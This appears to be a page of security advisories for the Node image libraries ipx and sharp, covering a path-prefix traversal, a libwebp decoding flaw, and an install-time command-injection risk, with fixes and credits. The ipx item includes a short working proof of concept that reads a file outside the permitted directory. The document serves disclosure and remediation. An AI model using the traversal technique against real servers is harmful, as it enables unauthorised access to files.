Version Details and Security Vulnerabilities

Summary

The approach used to check whether a path is within allowed directories is vulnerable to path prefix bypass when the allowed directories do not end with a path separator. This occurs because the check relies on a raw string prefix comparison.

PoC

• setup

mkdir ~/public123
move a png file under ~/public123 with name test.png
cd
npm i ipx 

• main.js

import { createIPX, ipxFSStorage } from "ipx";

const ipx = createIPX({
  storage: ipxFSStorage({ dir: "./public" }),
});


(async () => { 
    {
        const source = await ipx("../public123/test.png"); // access file outside ./public dir because of same prefix folder
        const { data, format } = await source.process();
        console.log(format) // print image data
    }
    {
        try {
            const source = await ipx("../publi123/test.png"); // forbidden path: the prefix is not the same
            const { data, format } = await source.process();
            console.log(data)
        } catch (err) {
            console.log(err.message) // Forbidden path:
        }

    }

})()

• node main.js

png
Forbidden path: /../publi123/test.png

Impact

Path Traversal

Possible Fix

Check if the dir ends with / (path separator) and if not, add before calling startsWith

Overview

sharp uses libwebp to decode WebP images and versions prior to the latest 0.32.6 are vulnerable to the high severity https://github.com/advisories/GHSA-j7hp-h8jx-5ppr.

Who does this affect?

Almost anyone processing untrusted input with versions of sharp prior to 0.32.6.

How to resolve this?

Using prebuilt binaries provided by sharp?

Most people rely on the prebuilt binaries provided by sharp.

Please upgrade sharp to the latest 0.32.6, which provides libwebp 1.3.2.

Using a globally-installed libvips?

Please ensure you are using the latest libwebp 1.3.2.

Possible workaround

Add the following to your code to prevent sharp from decoding WebP images.

sharp.block({ operation: ["VipsForeignLoadWebp"] });

There's a possible vulnerability in logic that is run only at npm install time when installing versions of sharp prior to the latest v0.30.5.

This is not part of any runtime code, does not affect Windows users at all, and is unlikely to affect anyone that already cares about the security of their build environment. However, out of an abundance of caution, I've created this advisory.

If an attacker has the ability to set the value of the PKG_CONFIG_PATH environment variable in a build environment then they might be able to use this to inject an arbitrary command at npm install time.

I've used the Common Vulnerability Scoring System (CVSS) calculator to determine the maximum possible impact, which suggests a "medium" score of 5.9, but for most people the real impact will be dealing with the noise from automated security tooling that this advisory will bring.

AV:L/AC:L/PR:H/UI:R/S:U/C:H/I:H/A:H/E:P/RL:O/RC:C/CR:X/IR:X/AR:X/MAV:X/MAC:X/MPR:X/MUI:R/MS:X/MC:X/MI:X/MA:X

This problem was fixed in commit a6aeef6 and published as part of sharp v0.30.5.

Thank you very much to @dwisiswant0 for the responsible disclosure.

Remember: if an attacker has control over environment variables in your build environment then you have a bigger problem to deal with than this issue.